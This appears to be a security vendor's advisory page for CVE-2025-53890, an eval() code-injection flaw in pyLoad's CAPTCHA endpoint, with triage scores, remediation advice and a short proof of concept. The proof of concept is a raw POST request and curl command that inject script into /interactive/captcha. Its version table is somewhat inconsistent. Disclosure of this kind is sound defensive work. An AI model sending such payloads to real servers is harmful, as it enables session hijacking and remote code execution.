CVE-2025-53890 is a critical-severity (CVSS 9.8) Code Injection vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyLoad vulnerable to remote code execution through js2py onCaptchaResult
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-53890.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-53890 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
- The
onCaptchaResult()function directly passes CAPTCHA results (sent from the user) intoeval() - No sanitization or validation is performed on this input
- A malicious CAPTCHA result can include JavaScript such as
fetch()orchild_process.exec()in environments using NodeJS - Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods
- Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
- Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
CAPTCHA Endpoint Verification
Technical Clarification:
-
The vulnerable endpoint is actually:
/interactive/captcha -
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
- Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
- Vulnerable Code Location:
The eval() vulnerability is confirmed in:src/pyload/webui/app/static/js/captcha-interactive.user.js
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.20pip install --upgrade 'pyload-ng==0.20' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-53890 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-53890 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-53890. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-53890 in your dependencies?
O3 Security finds CVE-2025-53890 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.